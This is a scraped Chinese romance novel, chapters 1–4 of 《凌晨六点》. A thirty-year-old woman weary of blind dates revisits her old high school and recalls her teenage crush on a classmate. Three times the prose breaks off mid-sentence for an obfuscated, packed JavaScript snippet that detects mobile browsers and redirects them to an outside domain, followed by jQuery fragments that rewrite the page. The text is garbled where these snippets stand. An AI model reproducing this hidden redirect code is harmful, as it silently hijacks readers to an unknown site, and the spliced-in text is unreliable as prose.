《凌晨六点》 1. 001 施清如刚走进家门，脱下鞋子还没来得及收起，就听见拖鞋啪嗒啪嗒敲打木地板的声音不断逼近。过了两秒，施琴从主卧小跑了出来，满脸关切。 “怎么样？小李人还不错吧？” 施清如猫着腰在放鞋子，闻言眼睛朝上一翻，努力回想刚才请她吃午饭的男人。 “还可以，起码是个正常人。” 她绝不是在讽刺，而是在由衷地夸赞。 这是她第九个相亲对象，前八个都不正常。 一个还没见面就嫌她年纪大，一个离异带娃急招免费保姆，一个表示必须生到儿子才能封肚。 还有一位，施清如至今记忆犹新。他们当时刚从一家日式料理店走出来，晚风惬意地吹起她的发丝——以及男人的假发。那一瞬间，锃光瓦亮的头皮，让他看起来像一个不知所措的日本武士。施清如好心地告诉他假发如何佩戴才牢固，换来对方一句“神经病”。 在这些人的衬托下，今天见面的李煦就尤为突出。长得还行，个头不矮，工作有前景，车房都不缺，唯一的问题是——这人是个闷葫芦，三棍子打不出一个屁。 幸好，施清如挺喜欢闷葫芦的。 有时候施清如想，自己在媒人眼里到底是什么评级，为什么先前匹配的都是些神人？现在她悟了，媒人通晓人的心理，用的这招叫做矮个里拔高个，先污染她的眼睛，降低她的期待，再送一个还算过得去的选手来她面前，突显得像白马王子。 听到她能这样说，施琴发自内心感到高兴。 “那你就多和他见面，增进感情，争取明年结婚。” 施清如冲她笑笑，对正在厨房里刷锅的王文忠打了声招呼，“老爸，晚饭我想吃醋溜土豆丝。” 王文忠挡开她脏兮兮的爪子，“快去洗手。土豆丝还不简单嘛，晚上一定给你做。” 施清如心满意足，哼着小曲回到自己房间。 关上门，她打开网游运行程序，准备痛痛快快玩一个下午。昨天这款游戏刚更新了新版本，资源包有好几个G，她只能发呆等待下载。 她还在想刚才的相亲，只不过不是在想李煦。 中午吃饭的地方是在商场四楼的广式茶餐厅，之前施清如自己也去过几次，符合她不好伺候的口味。吃完要走的时候，她撞见老同学骆泽川正在店外排队，他带着女儿来的，小姑娘四岁，软嫩得像棉花糖。 恰好李煦要去卫生间，施清如就站在那和骆泽川聊了几句。 骆泽川笑着问施清如怎么还没有把自己嫁出去，施清如赏了他一脚。 他随口问：“你生日是不是在3月份？” “对啊，刚过。” “三十岁了，我该不该向你说生日快乐呢？听说女人三十岁之后就不想被提醒年龄。” “骆泽川，你是不是找打？” 他侧身闪过施清如的拳头，“逗你的，生日快乐，你永远十八岁。说起来，二月份的同学会你怎么没来？” “我去邮轮旅行了，不在国内。” “都去哪儿了？” “北欧5国9城。” 骆泽川感慨道：“还是你过得潇洒。我每天两眼一睁就是代码，难得休息也是陪女儿出来玩。” 施清如捏了捏小女孩的肉手，“这还不好？老婆孩子热炕头。” “好，当然好，只是身体吃不消，赚的这几年钱全是给未来存的医药费。老蒋前段时间就因为工作太累，突发心梗送医院了，还好抢救及时，没让阎王爷给收走。” 施清如哎呦了一声，“老蒋做什么的？这么拼命。” “和我一样，三十五岁就失业的一批人。” “别那么丧嘛，船到桥头自然直。”施清如拿了颗餐厅提供的陈皮糖给小女孩，自然而然问起别人，“陈安平呢？现在在做什么？” “他啊，不知道。自从几年前说去英国之后，就不联系了，估计在那里娶妻生子，有新的圈子，看不上老同学了。” 小女孩抓住施清如的食指，把她逗得咯咯笑，一边对骆泽川带着点酸味的话说：“他不是你死党吗？” “高中死党，那都多少年了？你和他关系也不差，不照样不知道？”骆泽川皱皱眉头看了一眼自己排队的号码，心不在焉，“都毕业十几年了，还保持联系的也就两三个人，大家各忙各的，哪里有时间追忆往昔？” 就像他和施清如，除了逢年过节的群发祝福外，只是朋友圈偶尔点赞的关系。 李煦回来得很及时，中止了这场气氛急转直下的谈话。 游戏版本更新完毕，施清如却困了，打了个哈欠滚到飘窗上小憩。直到王文忠喊她起来吃晚饭，她这才发现窗外暮色已降临。咸鸭蛋似的太阳剩最后一抹余晖，从对面楼顶的天台穿过来。 餐桌上摆着施清如爱吃的菜，凡是她不爱吃的，几乎不进门。 施琴没着急上桌吃饭，乐呵呵地给媒人打去电话，想试探李煦那边的想法。 电话一接通，她就打开免提。 “汪大姐，今天我们家女儿和小李见过面了，她觉得小李人很不错……” 王文忠拍了一下她的手臂，用极轻的声音对她说：矜持点，哪有女孩子家主动示好的。 施清如事不关己般边吃饭边笑，她才不在意别人怎么看她。 施琴连忙补救：“她觉得还行。小李那边的人有没有联系你啊？” 汪大姐的声音中气十足，哎呦了一声，让人听出一丝为难的感觉。 “不瞒你说，小李联系我了，他说你们家女儿全身名牌，又没有稳定工作，他喜欢节约的。而且清如太漂亮了，他拿捏不住。” 闻言，施琴和王文忠齐齐愣住，这年头女方家里条件好，也成了罪过？ 施清如则是笑出了声，一点不避讳汪大姐的存在，“让他滚吧。” 施琴拿起手机跑到阳台上，不知道说了什么，好一会儿才瞪着眼睛坐下吃饭。她不停地和施清如灌输些怎么才能尽快把自己嫁出去的方法，后者一句没听进去，吃完饭将碗筷放到水池里后，就回卧室打游戏。 春分已过，天气依旧阴冷，连着下了几日小雨，玻璃窗上的水痕始终存在。楼下两株白玉兰开得正盛，枝繁叶也茂，只是在这铅灰色的天气中，少了几分生气，树底下落了满地花瓣。 想到吃完饭时，李煦那礼貌、腼腆的模样，施清如就觉得有些好笑。他还说什么将来谁娶她谁有福 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314038|152368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气。 当面一套，背后一套。 施清如觉得这天底下的好男人都死绝了。 她自认为要求不高，能和她爸爸差不多，脾气好、顾家，有点出息就行。 三十岁之前追求她的男人里有这样的，不过那时她看不上。她还没玩够，不想被感情束缚了周游世界的手脚。 三十岁之后，周围人觉得她忽然就恨嫁了。施清如更正说，是想结婚，她不介意找一个入赘的男方，就像她爸爸一样。不过这年头但凡是有一点条件的男人，自尊心都翘到天上去了，哪里肯入赘。 深夜，王文忠切了一盘苹果拿进来，提醒她玩游戏要适度，别到太晚。施清如喊着知道了知道了，手指在键盘上疯狂敲击。 一直玩到凌晨五点，眼睛酸痛，她才停下。 这款游戏存在了很多年，久远到施清如记不清自己是什么时候开始玩的。她的网瘾不算重，心血来潮时才会玩一会儿，其他时候都丢给收钱帮做任务的人。过了二十五岁后，她也不像年轻时那样天天通宵，最迟不过一两点钟就会睡下。 今天是个例外。 也许她是被李煦气得睡不着，也许是下午睡得太多，又也许是意外碰见高中同学让她想起些青春。 施清如抽出书架上高中时的日记手帐本，翻了几页就合上，放了回去。那时候的文字太矫情，动不动觉得自己是青春疼痛文学里的女主角，把喜欢一个人的心思写得明明白白，不忍回看。 直到大学最后一年，施清如忙于实习，渐渐丧失了写手帐的习惯。不再每天用笔在纸上写年月日后，日子就像开了倍速，溜得飞快。一回神，她跨进了“三十”的大门。 三十岁很好。 成熟、稳重，不再情绪化。 可以对闲言碎语置之不理，也可以心安理得地啃老，反正，她已经过了脸皮薄的年纪。 翻手帐的时候，施清如还意外找到一本从前记录各个网站账号密码的小本子。封皮已经褪色卷边，正中央画着当年流行的阿狸，一只火红色的小狐狸。 里面有她三个企鹅号和微信的账号密码，虽然这些早已经更改过。还记录了游戏和青青网的信息。 青青网是那时最流行的社交媒体平台，能交流，还能玩种菜和经营餐厅的小游戏。 凌晨六点，施清如依旧无法入睡，她慢悠悠在电脑上输入青青网的地址。 网站竟然还没有关闭。 天蓝色的UI界面透着一股浓浓的古早画风。 多年过去，在世界快速的更新迭代中，青青网早已过时，被人遗忘。它像一面立在沙漠中央的古镜，淹没在无边无际的风沙中。 施清如登录账号，发现自己曾经关注的人太多了，甚至还被莫名其妙塞了一些僵尸号，找人如同大海捞针。 她想了想，在搜索界面缓缓输入一个名字： 陈安平Shawne 网站的速度卡得像是一位百岁老人，按下回车键后，网页陷入一片凝滞的空白。 许久之后，天蓝色再次出现，一点点自上而下画卷似展开。 下一个页面，她看见一个熟悉的头像。 蓝色条纹校服和他标志性的笑容。 2. 002 陈安平。 陈安平。 鼠标游魂一般自动移至陈安平的头像上。 嗒。 清脆的一声后，页面再度变成空白，施清如低下头打量自己的指甲，新长了一根肉刺，要不要撕掉呢？她在想。 余光里，网页上已经出现彩色的内容，她迟迟不抬头，视线虚焦在平齐的指甲边缘。 近乡情怯那般的心情。 过了会儿，施清如意识到自己变得像高中时一样矫情，手一转往桌上重重拍下，像只斗鸡抬起头。 花花绿绿的照片真多。 陈安平什么时候这么喜欢拍照了？ 高中毕业以后，大多数人都放弃了青青网，转而奔向微博、微信和其他社交平台。但陈安平还坚持用了好多年。 有许多内容施清如还是第一次看见。 最近的一条是在六年前，之后他也弃用了青青网。当年施清如单方面删除了他的微信，这些年也没有去打听有关他的消息，再看见他的脸，有点恍惚。 照片里，陈安平戴着一顶藏青色的鸭舌帽，头发两侧剃得很短，露出浅浅的肉色皮肤。他穿着一件白色打底T恤，外头罩着件敞开的深灰色衬衣，站在一座砖红色的钟楼下，直视着镜头。 仰拍的死亡视角也没有令他的脸变形，棱角分明，他垂着眼睛，抿唇在笑。 那座钟楼不东不洋，有一种模仿欧式建筑却终成四不像的滑稽感。施清如再熟悉不过，那是成华中学实验楼边的钟塔，每到午休前下课铃声响起时，学生们就似鱼群追寻饵料，乱中有序黑压压一片从钟楼下穿过，涌去食堂。 施清如看了一眼这张照片的发布时间，是在六年前的教师节。 陈安平大约是去看望周旺和林琪思这对雌雄双煞的，毕竟他是那种标准好学生，深得老师喜欢。 施清如轻轻哼了声，带着点讥嘲。 他从前不爱自拍，青青网的头像还是施清如当年用自己偷藏的滑盖手机给他拍的，低像素让画面自然呈现出一层柔光的质感，仿佛在看一件老古董。 果然男人到了一定年纪就会自恋起来，即使是陈安平。对着以前天天看的钟楼都要自拍一张，有什么可拍的？ 说不定陈安平现在也是一个油腔滑调的臭男人。 施清如弯了弯唇，刚关上电脑，施琴推门而入。 施琴望着灯火通明的房间愣了一秒，惊呼：“你没睡觉？你不要命了？你看看这都几点了。” 施清如睁眼说瞎话的本事见长，“我刚睡醒。” 房间里电脑的风扇声尤为动听，走过去还能感觉到一阵温热的风，施琴瞪了她一眼，也懒得和女儿争辩。 “赶紧睡觉，中午我再叫你起来，不睡觉要猝死的。” 施清如却干脆站起身，“不睡了，我要去一个地方。” “去哪里？” “成华，周大头和Kitty去年添了个女儿，我过去送点礼物和红包。” 施琴被她这想一出是一出的性格折腾得够呛，“去年生的？那你为什么要今天去？” 施清如的回答很有她的个性。 “想到了就要马上去做。” - 周旺和林琪思对施清如的初印象不太一样。 他们都是在文理分班后才接触到这个女生。她是标准的理科脑，一开始偏科偏得不忍直视。 数学考121的时候，语文86分。 数学进步到132分的时候，语文变成了78分。 高中几年，身为语文老师兼班主任的周旺，大多时间对施清如都是恨铁不成钢的态度。她不是学不会，她是钻牛角尖。 做阅读理解非要洋洋洒洒写下自己特立独行的见解，作文跑题更是家常便饭。周旺总告诉她，考试就是考试，要的是标准答案，不是天马行空。等高考完，她想怎么写就怎么写，说不定能成为文豪。 但施清如不是一个听劝的性格。她同时还没有多少羞耻心，被拎起来批评时，她也能毫无所谓地反驳，伶牙俐齿。 她这么多年没有去看望过老师，倒也不稀奇，被宠坏的小孩哪里懂得那么多人情世故。起码她还舍得在逢年过节时群发一句祝福，周旺已甚感欣慰。 所以当施清如捧着一大束向日葵出现在办公室时，周旺以为自己没睡醒。 窗外的阳光透过窗照射在金灿灿的花瓣上，迸发出耀眼的生机。施清如咧着嘴在笑，身上还是透着和当年一样热烈的劲。 下课铃声正巧响起，走廊上充斥着奔跑与呵斥的声音。她跟着调子哼唱，走进来。 施清如的五官几乎没有变化，脸上的婴儿肥退去后多了几分凌厉和张扬，长发变成了干净利落的短发，微微卷曲，文艺又时尚。她没有化妆，涂了一层润唇膏就来了，眼睛下有片青黑的痕迹。 “头儿，听说你和Kitty又生了个女儿。” 周旺勉为其难接过向日葵，“女儿都八个月了。” 她这关心未免晚了太久，显得没多真诚。 施清如利索地掏出红包递给他，“祝贺你们。” 周旺连忙还给她，“你这是做什么？” 厚厚一沓，少说两千。 “红包。头儿，我已经不是你的学生了，算不上贿赂。” 周旺摆摆手，“拿回去，心意到了就行。” “是给你女儿和Kitty的，又不是给你的，别客气嘛。” 她无赖的语气让周旺无可奈何，“你真是来看我们的？” “对啊，”施清如倚着办公桌隔板的长虹玻璃，嗓音清雅，“别的同学都来看你们，我一直不来，说不过去。” 她的声音和形象很有反差，如果不抬头看她，会以为是一个恬静、沉稳的女生。 周旺推了推眼镜，笑着整理向日葵的花瓣，“你是听说谁来了？最近你们这一届的没人来啊。” “陈安平。” “陈安平？” 周旺一愣。 曾经被粉笔浸透了的手指停在花尖上，如今白板早已代替黑板，粉笔也成了记忆中的物件。 周旺出神地回忆了许久。 “陈安平是有来看过我们，但那是六七年前的事了。” 施清如从饮水机接了一杯冷水，细长的手指攥着柔软纸杯，捏出两个凹陷。 她看着窗外绿荫，漫不经心问：“他之后便没有来过？” “没有。” 施清如说：“真没良心。” 周旺睇了她一眼，失笑。 她一个近十年没来过的人，其实不太有资格这样说陈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314039|152368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安平。 周旺替陈安平开脱道：“那次他来的时候，和我们说马上要去英国工作定居了，没机会回国也情有可原。” 陈安平和施清如相反，他的语文成绩很好，满分作文还曾被周旺骄傲地拿给别班学生传阅。周旺偏袒他也是人之常情。 施清如没说话，喝完水把一次性纸杯捏成一团扔进垃圾桶。 恰逢此刻林琪思从班上回来，施清如扬起嘴角凑过去给了她一个熊抱。 “Kitty你又拖堂了。” 林琪思被她撞得差点没站稳，扶住墙看了她好一会儿，“清如？” “就知道你不会忘了我的。” 林琪思放下教材，欣喜道：“你终于舍得来看我们了。” “我的错，我早该来的。”施清如抱着她扭来扭去撒娇，身上没有一丁点三十岁该有的沉稳，“听说你去年生宝宝了，身体怎么样？恢复得还行吗？” 虽说周旺和林琪思不是什么老教师，但也早已迈入四十岁的大关，身体总是最紧要的。 “我体质不错，恢复得很好，你放心。” “头儿，你可不准再让Kitty生了，要生你自己生去！”施清如指着周大头说。 周旺被这小祖宗又骂了一回，无奈摇摇头。 不年轻了，施清如都已经三十岁，不是当年那个眼睛长在头顶的小大人了。送走一代代学生，看他们长大，也提醒着老师们自己的衰老。 周旺问她：“你和陈安平没有联系吗？” 施清如站在办公室门边，声音淡淡，“没有。” 林琪思坐下来，喝了一口茶水。 “我记得你高中的时候和陈安平关系很好呀。” 周旺也记得，“你给陈安平讲数学、物理。他给你讲语文、英语和生物是不是？” 施清如抬眸，噗嗤一声笑了起来：“大头，你记性这么好？” “因为那时候我怀疑你们俩早恋，观察得很仔细。” 施清如顿了一秒，凝视周旺的目光有一瞬间失去焦点，穿透了他的身体，落在背后不起眼的兰花草上。 半晌，她揶揄道：“你还是这么爱扒在后门偷看学生吗？” “那怎么能叫偷看呢？那扇窗就是让我光明正大看的。”周旺停了一会儿，转移话题，“过去这么多年了，我能八卦一下吗？” “什么？” “你和陈安平当时是不是真的有什么？” 学生总以为自己的小动作隐藏得很好，偷偷吃零食、看小说、睡大觉，但都被站在讲台上的老师们尽收眼底，大多数时候只是不想点破。 青春期少男少女的情愫也是一样。 偶尔，老师们还会聚在一起聊些八卦。那些天真和蠢蠢欲动的感情，其实都暴露在阳光下。 嘈杂的走廊上，一个穿着蓝色条纹校服的学生出现在办公室门口，他驻足片刻，好奇的余光扫过伫立在门边出神的女人，之后动作利索地把收上来的作业交给林琪思，又离开。 “没有啊，我和陈安平没什么的，”施清如弯着眼睛，“他那时候看不上我。” 一夜未睡后，心脏在狂奔，身体在下坠。 教学楼旁的竹林被风吹得摇动，林叶发出簌簌的声响，从敞开的门往里飞，吹向她凌乱的短发。 3. 003 2011年秋 班长蒋澜催促着在看台上吃零食、做卷子的同学撰写加油稿，施清如枕在一件校服外套上睡觉。 蒋澜蹲到她面前，“施清如，等下你挑加油稿的时候，记得多挑些我们班的。” “……” 回答他的只有一片死寂和耳边的风声。 蒋澜咬了咬牙，要不是因为施清如是广播站的，加油稿又涉及到运动会班级分，他身为班长不得不顾全大局，否则他才不会这样低声下气地和她说话。 “这是我们高中最后一届运动会，你能不能提点劲，有点集体荣誉感？等下马上就是男子100米预赛，有杨佳辰和陈安平，你——” 施清如睁开眼坐起身，满不在乎地当着蒋澜的面打了一个哈欠，“知道了。” 她一边说着，一边把马尾上的黑色皮筋松开，重新扎了一遍，右眼角下多了一道校服拉链压出来的粉红色烙印。 阳光越过红砖钟楼，普照在人工草坪与塑胶跑道上。施清如竖起短袖校服的蓝色衣领，提起自己刚睡过的那件长袖外套，往身上一罩，阔步向广播台走去。 九月底，秋老虎刚过去，气温陡然下降。运动会定在难得的艳阳天，但凉风依旧无休无止地刮着。 施清如汗毛竖起，抖了抖身体，把校服拉链拉到最上面，遮住嘴唇，细白的手指也缩进袖口里。外套上有一丝栀子花香，她嗅了嗅，埋得更深。 不多时，回荡在操场上的声音由低沉的男声，变为一个慵懒、清雅的女声。 陈安平从操场边的小径回到2班的看台区，蒋澜提醒他。 “马上就到男子100米预赛了，你快去准备。杨佳辰呢？” 陈安平仰头喝了一口矿泉水，“不知道，没碰到，”他转了一圈，“你看见我的外套了吗？刚才就放在这里。” 蒋澜指着广播台上的人说：“被施清如穿走了。” 陈安平抬起头。 看台中央拉着红色横幅，施清如坐在话筒后方，扎着清爽的高马尾，手缩在陈安平的校服里面，垂着眼帘慢条斯理挑选着加油稿。 蒋澜说：“要不要去问她要回来？” “没事，”陈安平收回视线，摆了摆手，放下水瓶，“我去准备比赛。” “好嘞，加油打破你去年的记录。” 陈安平笑笑，快步跑下看台。 比赛开始前，蒋澜收了一批2班的加油稿交给施清如，暗示她多选点自己班的，施清如没表示，快速翻阅一张张小纸条，都是给杨佳辰和陈安平加油的。 蒋澜离开后，施清如侧目向直线跑道的最尽头望去。 陈安平和杨佳辰在同一小组里，他站在4号跑道，穿着白色T恤和黑色及膝的运动中裤。他身边的人，个个穿得像专业运动员，短裤包着大腿，骚气得很。陈安平表情平淡，安静地站在那，看起来像一个炮灰。 不过—— 施清如弯起唇角。 陈安平可是校记录保持者。 枪响之前，广播台上再次响起施清如的声音。 “金风送爽，凉露惊秋。胜利的号角已吹响。你是草原上恣意奔跑的猎豹，是战无不胜的雄狮……” 杨佳辰揉着被广播震了一下的耳朵，拍了拍陈安平的肩。 “加油！” 陈安平收回目光，“你也是。” 预赛的结果没有悬念，陈安平轻松第一。 上午的赛程结束，施清如捏着矿泉水瓶从广播台下来。看台上大部分人已经散去，有的跑去食堂，有的在小卖部挑选零食，有的回班级提前做国庆卷子，还有的回寝室休息。 陈安平还坐在看台上，T恤被风吹得一荡一荡。骆泽川饿极了，抛下他去小卖部买学校自制的奥尔良鸡翅。 施清如一口气喝掉半瓶水，打了一声嗝，走到陈安平面前，居高临下睨着他。 “在等我？” 她念了太久的稿子，嗓子有些轻微的沙哑。 陈安平抬头看她，轻笑着说：“没有。” 施清如切了一声，“那你怎么不去吃饭？” “在等我的外套。” 施清如低头看了眼自己身上的校服，没动静，一点没有还给他的意思。 “去吃饭不？” “嗯。” “去几楼？三楼好不好？我今天想吃铁板饭。” “好。” 三棍子打不出一个屁。 闷葫芦。 “你下午是不是还有一个400米预赛？” “嗯。” “嗯个屁啊，你能不能说三个字以上的句子？”施清如和陈安平并排走向食堂。 陈安平还是挂着淡淡的笑意，“沙坑跳远练得怎么样？” “比去年远。” 去年施清如拿了第三，刚好够站上领奖台。 “加油。” “三个字以上！” “你加油。” “……陈安平你故意的是不是？” 施清如用手肘撞了下他的胳膊，这么大个个子，竟就被她撞得没站稳，踉跄一步。施清如眼神好，瞥见他胳膊上竖起的汗毛。 恰好一阵秋风吹过，从领口灌进校服里，施清如打了个寒颤，一把抓住他的臂膀，带着他跑起来，一边催促他。 “快点，再晚三楼的铁板饭就要卖完了。” 施清如是个急性子，像呼啸的风，总是从陈安平眼前闪过，留下一抹靓丽的残影。 陈安平跑得快，但说话慢、走路慢，做什么事都慢，和施清如截然相反。 她也不知道自己为什么总喜欢和他待在一起。 夜晚躲在被窝里的时候，施清如摸出偷藏起来的MP4，撅着屁股跪在床上看下载好的言情小说。 女生之间最初流行台湾作家的甜文，后来流行虐文，男女主互相折磨，不死不休，流产、囚禁是家常便饭，两个人之间往往还隔着某种深仇大恨。 室友王雨灵心理成熟，在那个年纪对此类文的评价就只有三个字：神经病。 但施清如看得乐此不疲。 小说里总是一笔带过男女主的床事，寥寥几笔描写，却总带给她异样的感觉。 施清如侧躺下，头发丝摩擦棉被发出粗糙的沙沙声，在这封闭的空间里，她只能听见自己的呼吸。 高中并不是不谙世事的年纪，虽然性教育没有详细描述过这些事，但她从网络、小说各个角落里获得碎片信息，东拼西凑起来有了初步的概念。 真的很舒服吗？ 她想。 秋夜的丝绵棉被里，施清如出了一身薄汗，咬着嘴唇觉得秋老虎又返归，燥热得很。窗外落着小雨，她听不见，大胆又小心翼翼地试探，不敢深入。 施清如觉得自己中暑了，身体无力地浸泡在汗水中。妈妈精心打理的睡衣飘着玫瑰香，弥漫在棉被下的空间里。 她想起了陈安平。 班里有些男生在夏末周日返校时会穿无袖衫，露出一部分肩膀，领口很深，露出锁骨和隐约的胸型，可是陈安平不会。他穿得最少的时候也是T恤，裤子永远是宽松的，不会超过膝盖之上五厘米。 他真保守。 陈安平跑步那么快，性子那么温吞。 他在那件事上会是快还是慢呢？是天赋异禀还是完全不行？他那么保守，也许要等到结婚之后才会做。 施清如轻轻叹了声，接着转念一想—— 只要早点结婚就可以了，等到法定年龄，她就拉着他去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314040|152368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 结婚。 二十岁，不对，男生要等到二十二岁。 要多等他两年。 叩叩。 施清如还沉浸在想象中，没有听到床板被敲击的声音。 叩叩—— 直到宿管老师熟悉又中气十足的声音在寝室响起。 “施清如，你的被子在发光，交出来！” 她还在放空，被子忽然被掀开，秋夜的凉意一下浇灌在她滚烫的身上。 施清如讷然与宿管老师四目相对，数秒后MP4已不在她手里。 “这才开学多久就已经第二次了，你这学期别想要回去了，期末再来找我拿。” 第二天，施清如又被收走MP4的消息在班里传开，她不以为意。早自习的时候，她趴在陈安平同桌的位置上，恹恹地向他抱怨： “又被收走了，期末才能拿回来。” 陈安平提前在写国庆的英语卷子，忍俊不禁，“小说这么好看？” 说是早自习，但因为正在运动会期间，老师并不会严管，只有像陈安平这样极度自律的学生才在写作业。 施清如盯着他半垂的眼睛，半晌才答：“超好看。” “回家再看吧。”他淡淡安慰她。 她蠢蠢欲动，欲言又止，还是没忍住。 “陈安平，我问你个事啊。” “嗯？” “你打算几岁结婚？二十二岁一到法定年龄就结你觉得怎么样？” 陈安平的笔尖忽然顿住，在试卷洁白的纸上留下一个没有意义的墨点。 良久，他说：“没想过，都可以吧，只要有想结婚的对象。” 施清如猛拍自己的大腿，坐直了起来，巨响让陈安平朝她看过来，沉静的眼神从试卷移向她。 明亮、清澈的眼眸中流光璨然，额前的碎发粘在她的眼角，鱼尾似的延伸出去。 她对着陈安平的肩膀呼了一掌，扬着眉头说： “英雄所见略同！有喜欢的人就应该马上结婚！” 施清如那时被欢喜冲昏了头脑，独独忘了问陈安平—— 他以后想不想和她结婚。 - “这么说，你当时喜欢他？只是落花有意，流水无情？” 周旺的提问刺中施清如，她的注意力从竹林拉回到办公室。 施清如本来不想承认自己当时单恋，但又觉得这扭扭捏捏不承认的作风不是自己。 “有点喜欢。” 林琪思一边批改着数学作业，一边轻轻笑着说：“喜欢陈安平的不止你一个。他成绩好、体育好，长得又高又好看，青春期小女生喜欢他其实很正常。” 施清如撇嘴，记忆里的陈安平又清晰了一分。 她说：“还行吧，一般般。” 周旺弯着腰在饮水机边接热水，“你要是联系上陈安平，就让他回来看看我们。我还挺好奇他现在什么样了。” 施清如漫不经心揉着自己的耳垂，年初打的耳洞还在发炎流脓，时不时发痒。 她没回答周旺的话，转而说：“不打扰你们，我还要和朋友去吃中午饭，先走了，下回再来看你们。恭喜生了个可爱小宝贝喔！” 林琪思捏了捏她伸过来的手心，满脸慈爱，“去吧去吧，谢谢你来看我们，有心了。” 分别总是拖沓的，施清如拉着林琪思的手又絮叨了两句，才缓缓穿过走廊，来到尽头的楼梯。 一阶一阶往下走，每次沉重的一坠都撞击着她的骨头。 施清如的性子已经不像从前那么急了，楼梯不是非得跑着走。没有铃声催促，她有很多的时间慢慢来。 高三时，她幻想自己会在二十二岁的时候结婚。 如今她三十岁了，却依旧孤身一人。 4. 004 上课铃声响起后的成华不再充斥学生们的打闹声。 施清如站在二楼的楼梯间，正对一扇巨大的窗户。 这扇窗映着四季的竹林，只有竹林。 风过留痕，满窗的翠绿摇动，金光波动，像置身于一片竹海。斑驳破碎的竹影在她脸庞上一晃一晃，直到眼睛酸涩再不能强撑，她才眨了眨眼离开。 穿过被风眷顾的竹林，路过被称为“情侣幽会胜地”的角落，施清如往小卖部的方向走去。 她还记得那时候流传过一个说法，说老师们喜欢在夜晚带着手电筒去竹林后边，往最黑黢黢的地方一照，就能抓到抱在一起的小情侣，百试不爽。 施清如觉得不像话。 谁会这么笨呢？换作是她，幽会肯定要去无人的实验楼，或者体育馆后面的死角。 小卖部货架上的零食都是最时兴的零嘴和速食。 施清如逛了一圈，最后只买了一串烤肠，加了点辣粉，走出门才咬下去第一口。嗞一声，油水爆到手背上，被她嫌弃地擦去。 味道和以前不同了。 现在的烤肠肥腻，全是肉，淀粉的含量在减少。她努力咽下去一口，被油水腻得反胃，转手把剩下的肠丢进了垃圾桶。 换以前，她会分一半给陈安平，让他帮着吃完，谁让他说不能浪费食物。 沿着小卖部往学校的人工湖走，沿着柳树绕半圈湖，就到操场。操场边种着许多桂花树，但季节不对，秋天的花不会盛开在春日，就像高中记忆里的人，不会在此刻出现。 操场的看台还是原来那样，不过刷了天蓝色的新漆，多了几分生机。 施清如走到100米赛跑的出发点上，抱着双臂眺望曾经属于高三2班的看台区域。 那里空无一人。 阳光照得她眼前出现几道虚影，仿佛在台阶上跳动。 这也许是通宵的后遗症。 烤肠的油腻从胃里反上来，她皱了皱眉头，继续往前走。 登上广播台，走到盖着丝绒红布的桌后，俯瞰操场，足球场真空旷。其实学生之中几乎没有人会踢足球，每到傍晚，人工草坪上就会长满坐在一起聊天、吃零食的学生，她有时也是其中一员。 施清如清了清嗓，颇为刻意地挤出播音腔。 “你是草原上肆意奔跑的捷豹，是战无不胜的雄狮……你是……” 念了一会儿，她吃力地停下。 没有话筒，她需得扯着嗓子才能在风中听清自己的声音。 没意思。 广播台边有一块板子，贴着校运动会各项纪录。 施清如哼着下课铃声的旋律走过去看，一目十行。 没有陈安平的名字。 他的100米、400米、1500米纪录都被破了。 啧啧。 现在的小孩都是吃什么长的？ 施清如笑了，真想挫挫陈安平的锐气，告诉他“你也没多厉害”。 离开学校之后，她坐上了公交车。 当年的55路公交已经换了路线，不再经过成华中学门前，她只能退而求其次，坐了别班公交。 成华中学坐落在光河街，不远处就是一所大学。 学生多的地方，周围就会开出无尽的快餐店，到晚上夜市摊位一支，整条街充满烟火气。只不过这种烟火气不会蔓延到成华中学门口。 学校为了避免嘈杂的声音影响学生，勒令过不许将摊摆到校门前。高中生也只有周五离校或周日返校时，可以出校门用零花钱吃些垃圾食品。 施清如坐了短短的两站路，跳下车就是夜市最热闹的一片区域。 栾树东一株西一株地一直延伸到居民区里，到秋天这儿就会挂上一片红灯笼花，添尽喜色。只不过现在是春日，栾树羞答答地才冒出新芽。 还没到中午，这儿不热闹，只来了两三家小摊小贩，有店面的快餐店也没亮灯。老板们就坐在采光不好的店内玩手机、嗑瓜子，有的在门外边聊天边抽烟。 施清如掀起“老廖麻辣烫”结了油块的布帘子，老板抬眼，“吃饭啊美女？” “嗯。” 老板从收银台后面站起身，伸了个懒腰疏松筋骨，笑盈盈说道：“随便挑，我们家虾肉丸子很鲜的。” 施清如点点头，自行从消毒柜里拿了塑料盆和菜夹，不紧不慢挑选要放进麻辣烫的食材。 最后去称重的时候，老板低头看了眼，随口唠嗑：“美女怎么不吃虾肉丸子啊？那是我们家招牌。” 